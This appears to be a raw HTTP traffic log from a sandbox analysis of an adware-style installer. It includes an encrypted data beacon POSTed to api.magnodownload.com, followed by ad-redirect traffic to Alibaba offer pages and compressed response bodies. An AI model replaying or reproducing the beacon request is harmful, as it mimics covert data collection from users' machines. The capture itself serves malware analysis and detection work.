2163282f83b82ff320f3f79ffff99ede3f8d992eaa7c53909931e041098624f5298e36
895794418c7535cef69df4e0f75350d5fd7b92535fb6859ef7b7424aabf30d28563633
ec391df7c96b36a5bb9d1731f03d806f3dd75f013c6a1024eceef80ef61e6bdd9c81f9
48ed2fa9df05750f88a192abae5a034f8e97c1781550c747682918e36603f697a3057b
011bc71c63d6e1982c65bdc74b17a3b0f75d6f3e388b7ea6b6f1ef588ba42b65ae0126
466fdff8b1f9c74885312003eeb8c128d72c0689f557d9beeec84fe0669fb87bbba54a
30fa4e963ae99c0273cf7fc3010d950151dce027bbe634276a5eaf4625a7e8ba148dd2
c5cc5d99d02919f85aaa55c524210ff3823ea66a04c2f95ed770741f6d8a3ef1b19389
0b28dfe363e174b320882838bc710a7f1cd6c8c6d7bd9629f5d4bfcc54a9e38b409ccf
56f07bedca6dc5fbcf1c299301abc76d34a5269078693dcdbc362084c5801b3998
<<< skipped >>>

POST /0b6626ec5e4bd43463c10b130d5e34b10864302c058b6d184bb46749500be84c4bde88c5d88e32622c4040c760d4f2447fb9c56605186310 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 2 R:1

Host: api.magnodownload.com

Content-Length: 2726

Cache-Control: no-cache

cdata=86394263D6DED7AD3ED013DFEF7E64F6C29F5997166EF97A418F915F82A9AD7FC77F5FC74ED02F99799278738B97993DFA484DED0643C147AF1F76E6047AAC12B04F4D1B9014C49B2B9206253F7B816F613C3C2381141BF9CF3270815E833E217C84153888AF84AD3B25072B7234318ADB6B796AA64B779F2A2FFAABF95EFDC11241AEEFDE629155B76CCA2A4F117755C06DE1498E9C37CD98B521F0FD403F13CB01AF0E4FBF71138F6A88730187FF335D1D49628715144B0C70D3E9EFE7F238A0BD4DC3850AA17491D1411F679F649D153C8BB58D807D75C71D684597E3C53158883877E2B2DF5F9835210215BF8B4E424D54C9DC1B0382804C82DF6DE430D6286F4EC32EFA9C0879E0B5195F873EC93EFD9028384F794BA8001AAD0EFD2F57163951F48C0543140FA71C2CC25B1E684F083496E91153CD0189459D14D516740D975556EED463D549149C64F7817B04107DF3BD3AADB9D05FF4CA61C16FFA52B0B03FC804758BA2BBFE11F6894C15F67736AE213BCEFDF4413BB9970F70654B7C300116460FAB905A38A5DA3C219D77E5831422B475F8B98F771450C586E4A98C88422A4D2D55FEBEE8C1F50ED3ADDFD386B54BF360ED09327D06513E427FC52942CDABED860F111BDC58F37DAE1E5804B1D324B29777FFAC9632ED0D917F4E2946F6770B48CACED65284414A0C6474B822F9F408D2C90856DBF16EC64796FF36885F3B72C81CDD380DE08636AF2F3CB02F987C595702481E0F760E2BBE161B8F139E030546165681464EC41212D0E3C01FB7AB00263FAE363E85221EF85FF79BD6CC295620E6ECB200436E44A91018A97C28E93F
HTTP/1.1 200 OK

Content-Type: text/plain

Date: Sat, 13 Jun 2015 00:33:22 GMT

Server: nginx

Content-Length: 7

Connection: keep-alive
MAXTHX.....


GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/style.css HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/css

Date: Sat, 13 Jun 2015 00:33:22 GMT

ETag: "5506ab53-5454"

Last-Modified: Mon, 16 Mar 2015 10:07:15 GMT

Server: nginx

Content-Length: 21588

Connection: keep-alive
/* Template Win_Link */...article,aside,details,figcaption,figure,.foo
ter,header,hgroup,menu,nav,section {..display:block;.}.p, h5, h4, h3, 
h2, h1, span, ul, li, form, input, textarea {..margin:0;..padding:0;.}
.body {..margin:0 auto;..background-color:#f6f6f6;..width: 566px;..hei
ght: 458px;..color:#444;..font-family:Arial, Helvetica, sans-serif;..}
.a {..color:#0066cc;.}..clear {..clear:both;..height:0px;..overflow:in
herit;..display: none;.}..li {..list-style: none;.}./*****************
****//*********************//*********************//******************
***//********./* estilo para poner los botones del box.html todos en d
isplay none */.._Bnext, .._Bexit, .._Bdecline, .._Bomit {../*display:n
one;*/.}./**************************************************/..contain
er {..float: left;..width: 566px;..height: 459px;..border: 1px solid #
ccc;..margin: 0 auto;.}.../*****************Template Win_Link*********
********/......minimize {..float: right;..width: 45px;..position: rela
tive;..margin-right: -45px;..right: 45px;..margin-top: 12px;..z-index:
 9999;.}....minimize ul li {..display: inline;..float: left;.}...minim
ize .button-min {..color: #8b8b8b;..text-decoration: none;..border: no
ne;..font-size: 17px;..float: left;..line-height: 12px;..font-weight: 
lighter;..cursor: pointer;..width: 12px;..}.../***********************
***************************/./* content */./**************************
************************/.b {..font-weight: normal;.}..content {..widt
h:90%;..height:353px;..position: relative;..margin: 0 auto;..borde
<<< skipped >>>

GET /event/common.html?id=17770&ext=cnatime=2078&st_page_id=c18af4e7ac14ac7e557b7a5814dea56116f24cff8f&ali_beacon_id=193.138.244.231.143415561055.341443.0&inc=0&ver=40&time=1434155620749 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: stat.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==; uns_unc_f=trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76; _ga=GA1.2.1214118344.1434155619; _gat=1; ali_beacon_id=193.138.244.231.143415561055.341443.0; cna=WWgCDjWxzjYCAcGK9OdXbmWQ; ali_apache_track=""; ali_apache_tracktmp=""

HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 00:33:31 GMT

Server: Apache

Last-Modified: Thu, 25 Dec 2014 09:24:05 GMT

ETag: "50b06f82d9740"

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Content-Encoding: gzip

X-XSS-protection: 1;mode=block

Content-Length: 20

Connection: close

Content-Type: text/html
......................

GET /js/6v/biz/common/store-proxy/store-proxy2.html?iframe_delete=true HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: is.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/html

Content-Length: 3168

Last-Modified: Mon, 12 Jan 2015 11:48:30 GMT

Accept-Ranges: bytes

Content-Encoding: gzip

Timing-Allow-Origin: *

SERVED-FROM: 2.16.217.230

Timing-Allow-Origin: *

Cache-Control: max-age=84159313

Expires: Sun, 11 Feb 2018 02:08:44 GMT

Date: Sat, 13 Jun 2015 00:33:31 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
...........Y...G..^K...:.v.;7.g..v..q.[.%q.....6..=.c..lzz...A.....D..
.(/...^....`.?.........!.0..]U]]....;.y...G..{.Y....K...o.p....z.y$...
........y...."RI&\.~..I(.| .*..........."&E..\.$R$.....tm....pL.d.G..)
>(2..Ty...y..4...b....kf.......?....4...ZoT....b.\..>....W<.a
..TW....... ........e(.f.~G.C.....t.nQ..i.;...%...#....C.`.{.h <.%^
.e.(\[email protected]~....<.....i...[...
(.ye..5..FH..(..9..b..OD.... !..U...0......,;,T.5.....%...RCc%...,....
.l2....&.W2S...v...V.9.e`......2<.....\).Gj...t....0.....b"f..%.<
;....:* ,#[email protected].%%..|S;.....5F.].s.
........Lz.>..3y..n...|...J:p.!F..8...JK.B..N.I....S/....xWf ......
..v...]e.ui......R..2o....6z#T../.4;.,.....d;..2...0-....t.........!~.
..tA.=2......PKX8.d...Q..hk.;Y!s.2.....p....<.......0.K............
&...m.&)[email protected]..:......7..hO.....-.rC.....[.....
q.S.........N.dz.[.....Wc.|;[email protected]...!F.J........z..P..$..)p.&
gt;LN.$....w`C.=...O.........)O..$.b.!V].!.Z..`..>....#.E .........
7ZL..Y...}....Q.M....wf.k..1.........&.Z.....N..O.{R...k..Q..m..e./..^
hl......$'\.u].O...Vyg|.t.Jj....k GxM...&.*..z |...c..6N._....9Z.. ..[
..V_#......|..q...8.^t....U.Wz............._.y.h.........i>...~....
.t..G....y,..m..p...^|g..l}...}.5B..2y..b*g..F..o...u.p...O...9....t..
...d0.......Y[..<..6.E...tB.HC(.".)....q.....JZ...H;......OK.3z....
.B.g.P.q.a\. ..W..i.K....k...U&.v._.n..J..U.#R...I2 ......;.e...;|y...
.s".4..@./.\..._*.........`";.$.."..c......>.c.G.x9#Gi6o.d.<
<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept: */*

Referer: hXXp://is.alicdn.com/js/6v/biz/common/store-proxy/store-proxy2.html?iframe_delete=true

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: is.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Last-Modified: Tue, 06 Nov 2012 09:39:36 GMT

Server: Tengine

Content-Type: image/x-icon

Content-Length: 443

Accept-Ranges: bytes

Content-Encoding: gzip

Timing-Allow-Origin: *

SERVED-FROM: 80.239.222.164

Cache-Control: max-age=12056

Expires: Sat, 13 Jun 2015 03:54:27 GMT

Date: Sat, 13 Jun 2015 00:33:31 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
[email protected]).u.5s..T......i..YQ..8.@ ....$..$.Q.@T"*
......./I..4....d.o.~...5......u`...$.....kx.jmY.._..c....:..E.<.!U
...|r..w....fO....u.}[email protected]...=1..7.....$.w......0..
.....>.?.:.........C........A..."C#c.}KJ`4..:.....8.P!}...C../...}t
<do!.. =.`...MoQ..9.N.M....>.Q.\..;.~$.Rz..n6....!q..h6..@;....$
....Q..~....hc.............)@T....=.8..X...._. .V.~.Vq."h..m~ c!...dOz
.i..N.$;?.z..S.D..0%I.f.../..C.~...HTTP/1.1 200 OK..Last-Modified: Tue
, 06 Nov 2012 09:39:36 GMT..Server: Tengine..Content-Type: image/x-ico
n..Content-Length: 443..Accept-Ranges: bytes..Content-Encoding: gzip..
Timing-Allow-Origin: *..SERVED-FROM: 80.239.222.164..Cache-Control: ma
x-age=12056..Expires: Sat, 13 Jun 2015 03:54:27 GMT..Date: Sat, 13 Jun
 2015 00:33:31 GMT..Connection: keep-alive..Vary: Accept-Encoding..Tim
ing-Allow-Origin: *..Network_Info: UA_KHARKIV_34323...............S.@.
........Ia.s).u.5s..T......i..YQ..8.@ ....$..$.Q.@T"*......./I..4....d
.o.~...5......u`...$.....kx.jmY.._..c....:..E.<.!U...|r..w....fO...
.u.}[email protected]...=1..7.....$.w......0.......>.?.:....
.....C........A..."C#c.}KJ`4..:.....8.P!}...C../...}t<do!.. =.`...M
oQ..9.N.M....>.Q.\..;.~$.Rz..n6....!q..h6..@;....$....Q..~....hc...
..........)@T....=.8..X...._. .V.~.Vq."h..m~ c!...dOz.i..N.$;?.z..S.D.
.0%I.f.../..C.~.....
<<< skipped >>>

GET /analytics.js HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 12 Jun 2015 23:36:36 GMT

Expires: Sat, 13 Jun 2015 01:36:36 GMT

Last-Modified: Wed, 27 May 2015 21:02:55 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 11093

Age: 3413

Cache-Control: public, max-age=7200

Alternate-Protocol: 80:quic,p=0
...........}iW....w~E\'.U..e...6.^.L$.I.l.,.$......!....~...28.......j
k...,ux2..i.4.......21C5........x44..8I..C=...d_NO[...7*."..33.e.{2>
;..I..W..[......2....ZNe ...\N.i ~.$...i fI.2#.....S....$....t.......T
.g......M..A..>I..HI.&...9......l46.....l4..%*.$.....F.g..H...bJ.h.
.8........x<.f.Tx6.Z...%....Lh..ht..43..ht...4..i..!........`.Q.f.{
..vDW4.3.M...<..~b.B.....Wc*8.\5..z>.5....NeFH.......c..zi..S.zN
....!r...H...~ONGY ^&..Q.....F{.K.....ZX..*........I|....Nw...:..1...2
..M*u_.n....NFY..-.tE..[...x.m..j.....j(;..d0.*i.a.Mn}.klm..~....mK.f$
....Ov.>{......{...o..;z....._..T...N.?......g6.....]..7.76.<|..
...A.Ne.=....M=j...y... ...'.3..t24.......Z.40E.9J....p|.T.f.TS....F..
$'^h...h............-&.d.P...S..#..5jKZ. BN.Q...nn.U]7..5.F.[...}z.[..
xXQ.L...&.j....1r....<(H.......gK.vF.......L^u..!.c_MGG..;;..B.....
..{....W.$ruu...........sP.E.Li-m...{k.\ .....L..di?.-;oU7.}..O...z.z.
...z..j..\L.......h..s.C ./q....N.0sr..Dz4.s1...5.......R...T.P...]f..
..k......N.-L_(..lgW.2.Z?. ....L..d...0. JT*:jR.t*.)....|....*5...8Bh.
k...h>.....1..P,.&*....N.6....i......2..j....41.R"(*&.B....d.......
[email protected]<.....a....Y..:e&.bh..ty...=.N..&m....n.Yw.~-,...AP..s
..`......8.hC=.......Z.ibb\&.L."4..q...q..V.w....a.o...A.V..b6E......$
Q77..o..I......F"......m.K? ...}O.>...K...P.WD.....B.:..{...O......
.$N%......}j.Z.6D..3D...n."u...6M.`E=:#..?......Y:=PI.....$....`b..f3\
BR.-..!.....c.vf.&D([.q.a`Bs.........Yq.K.t..L.m.u..U..i..j..-.n.j7T..
f.5..F.4..<.......st.........KK..`%*ji...H1..........t.}.\.8..d
<<< skipped >>>

GET /r/collect?v=1&_v=j37&a=2129827782&t=pageview&_s=1&dl=http://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf&dr=http://onclickads.net/afu.php?zoneid=313275&ul=en-us&de=utf-8&dt=Alibaba Premium Marketplace&sd=32-bit&sr=1276x846&vp=1260x681&je=0&fl=11.6 r602&_u=AEAAAEAAI~&jid=1757803183&cid=1214118344.1434155619&tid=UA-53529524-1&_r=1&z=1776085867 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Location: hXXps://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-53529524-1&cid=1214118344.1434155619&jid=1757803183&_v=j37&z=1776085867

Access-Control-Allow-Origin: *

Date: Sat, 13 Jun 2015 00:33:29 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

Content-Type: text/html; charset=UTF-8

Server: Golfe2

Content-Length: 369

Alternate-Protocol: 80:quic,p=0
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://stats.g.doubleclick.net/r/collect?v=1&aip=1
&t=dc&_r=3&tid=UA-53529524-1&cid=1214118344.1434155619
&jid=1757803183&_v=j37&z=1776085867">here</A>...&
lt;/BODY></HTML>..HTTP/1.1 302 Found..Location: hXXps://stats
.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-53529524-1&cid
=1214118344.1434155619&jid=1757803183&_v=j37&z=1776085867..Access-Cont
rol-Allow-Origin: *..Date: Sat, 13 Jun 2015 00:33:29 GMT..Pragma: no-c
ache..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache,
 no-store, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 G
MT..Content-Type: text/html; charset=UTF-8..Server: Golfe2..Content-Le
ngth: 369..Alternate-Protocol: 80:quic,p=0..<HTML><HEAD>&l
t;meta http-equiv="content-type" content="text/html;charset=utf-8">
.<TITLE>302 Moved</TITLE></HEAD><BODY>.<H1&
gt;302 Moved</H1>.The document has moved.<A HREF="hXXps://sta
ts.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid
=UA-53529524-1&cid=1214118344.1434155619&jid=1757803183&_v
=j37&z=1776085867">here</A>...</BODY></HTML>.
...
<<< skipped >>>

GET /js/sufei.js?v=2015-05-26 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: u.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Last-Modified: Mon, 25 May 2015 05:24:09 GMT

ETag: 86da1ecf_0

Server: Tengine

Content-Type: application/javascript

Content-Length: 2817

Content-Encoding: gzip

Cache-Control: max-age=29979551

Expires: Wed, 25 May 2016 00:12:42 GMT

Date: Sat, 13 Jun 2015 00:33:31 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323

SERVED-FROM: 80.239.222.164
...........X.s.6.. 6....D=.;..X..M.nr.....d(...S ..R\...o.>%?....M.
..b..~.X..`.'. ~.Z^2.f..H.t..)}.37..,..n....'a.y".T&:....B\....s.&..x.
..U...E&B....|..n..'.........W:..`-kMb..z>..-.....O.en..RG.S...s..[
.UQ..Ng....t[=..O.w.LE.t.(./.....g.....N.w.NwGN.....d:...._....p^. ..W
...}Vi.....l{......;c.,.hvrJ.........0..Y..qp./_.~....?...o.\.....?]^.
..?.....Y8g.e..^. ...J......_..........;=.Gp..E....s.)0...W.)U.s...9..
0w.......:..al.^?x....9...Y.........j....j.........p..`.1_F0.u.F.....:
f..!......L...rMV.G....{<...q.4........U1...q.....^...s..b..0r...a]
.............'.....a7MR.W.#.......y...*..]B..l..z........l\.'U...Z2}.W
...4sE..n[.\X.q........fVy..Ra.....d..%.l....I.......;...........?%.~.
.....:. 9QO...&....'..!.....7.O..L....$.=....T.S..;..~.1....l...x.l...
....=..@*.b...}pl.d..........$.V..7....6f ..9_#<F...f..L.;...5>B
o>\\...P&q.<.......HL..R([%k......$..Z..Y:......P4>..........
...^..5.... ...`......G.]FIx....]....}E..?2.{ y0......)X..A.4. .......
..|....a.-.P~...P7...B.Scz..h.8,.d.....*.....;h....(..n..\.C......].".
..i..R...O\5.*X.W..JZB..i.kP.Y....Z....c...T~.......\...}r.F...\J.R.Q.
....a ..M.5G.5X.o....i...Y.T3.%...{.%m......ycD...N.....8.......-.wg..
..=F.d........i..dI}A$.D....'#... 1.ID.i..^q.......x..<.J.M.A12....
.=V6.d...$.....y...:."(I...a.>,.k..u..JKW@uVF.*.)-.(f.R..RQ2.'i.n.S
......^....W...H.H...........x....3Fu.'...... ........h..8pc=...\2....
..C.N./J..q.n$..F....(#......8.|........../.......`n..N...!.\.......c.
........#...Yp..a.5..B]......l.......k{>@....w.p.}(..........j.
<<< skipped >>>

GET /tps/i3/TB1knn4HpXXXXc.XVXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 33305

Last-Modified: Mon, 30 Mar 2015 10:02:44 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 92.123.78.44

Timing-Allow-Origin: *

Cache-Control: max-age=308973962

Expires: Fri, 28 Mar 2025 02:39:31 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....,.,.....C..............................................
......................C...............................................
..........................,...........................................
..M............................!.1A."Qa..2q..#BRr.....$b...........4E....................................H..........................!
1A.."Qa..2q.....B....#3Rr..$4Cb..S...Dcs...............?....>....|.
..8.."<q.4Dx..h..........#...DG.>....|...8.."<q.4Dx..h.......
...#...DG.>....|...8.."<q.4Dx..h..........#...DG.>....|...8..
"<q.4Dx..h..........#...DG.>....|...8.."<q.4Dx..h......."(.."
.."(..|E.....#q..DQ.DE..DQ.DE..DQ.DE..DQ.DE..DQ.DE..DQ.DE..DQ.DE..DQ.D
E..DQ...4E..."(.."....."9."9.".3..#.4Dx.....DUJ.Q.h..".."(..".."(.."..
"(..".."(..".."(..".."..]..c).O!..v.^....?u.'...rTB....%l...M.yN.AR..%
#... .....$.?.Q......W......,..H.m........Q..eP......a..j"......B.x)?.
R.......|1....M...w.N}....>......4..q......Ew.W...8......E.*.(..DQ.
DE..DQ.DE..DQ.DE..DQ.DE..DQ.DE..DQ..r.....PCm$.d..74D..9#.m.O.T.RHe.F.
...SDX...4Eq1J......k..2v...U.Z...Am...ZcKM.m?5ml..@mC...$.0.W.O...z.0
EM9.s...J..\q.P.dZ...Y........y...l..T..>eCj...U..$C...{.......\..`
y.%..XG.^(#.l\I._=...s%...=...{w.!..%#<....l~ ..n*......Q...R......
.R.m>.>..s[..!.*..E..^........8......O.B.. <..|D$W.....k.....
J.OV.5.q......^AW..?..*.......>.........`....J.o....w.._4. .[h...bA
......w7..MS..K8,v..n...A..H......!8.)P).yl.Ap{..N.R .R..I.k...$..(..I
R{mDL.u.D\s%r..D...{.....*..o.G....}(.......9Dt..|5.D....:..)@....
<<< skipped >>>

GET /tps/i4/TB13n.FHXXXXXX7aXXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 13735

Last-Modified: Thu, 19 Mar 2015 09:19:46 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 81.52.170.75

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=308044269

Expires: Mon, 17 Mar 2025 08:24:38 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....H.H.....C.....................................!........
'.."#%%%..),($ !$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$........,.."........................................
.Q.........................!.1A.."Q.2aq.....#.3BRb...$CSr....%&46Tcdes
...5DUu....................................1........................!1
A2Q..."3aq..#B..4r...............?...(..(.....(..(..(..(.....(..(..(..
(.5..4V([email protected].. .A ......}Y-P4..)8(eD|.2t..89.Ay.....s..;...
.^l......$%..I...s5$.r.u..^..b1.<@...-jn.t.X....:.<.e6........es
e..V...>..o.RH..Dv.f..Z Mm...[c..x.x..}[email protected]..
[email protected]..%c.OOy.[v..uB....!......9....ky`.2k.
...$...$.r.pI,..9..G..f..j....... 5 .QE.QE..E.P.E.KYoC.........yTS....
u...."...?......8....s..!....B...B..~......R.l.6..V./.k.o]Ho..QU..".s.
-.*..5.\...?...T*....;..KO'[email protected]@.QE.V.
...$s. mDu..kN...J..P...y...VL..m......#..S.x./KY.nC....]'...!....SZ.S
..(6....I.Zx.Yt.)..}..z#P3f.........%..8...............\.....,....i..\
^.p..O..r..}..B0.R.|.~PZ&3.O#......?w5`...\....=.<.PP...f..tX.9.K.e
..)P...~4.dlj}./.Z5(.......z..O...O..[d.:.:[email protected]^....
.........Vj{E........C q........H..,h.(g...i.......I..hX.Z.f. ..m.w..q
V..2.F..H#c...k...sb..C5./....p.i9.W..L...#......._..H5h.........C..[.
.V..mO..i.Z..P.T0w.>t..7....wkt9......./Gm,...e<';.j..O,rR.G....
.jp.Xem..E!..Y.[[email protected]@.QE.QExq....rH.
....-.%.G..l1...... :..8W..B....!.....z3].g}.k..J..Z....T.o.\%....
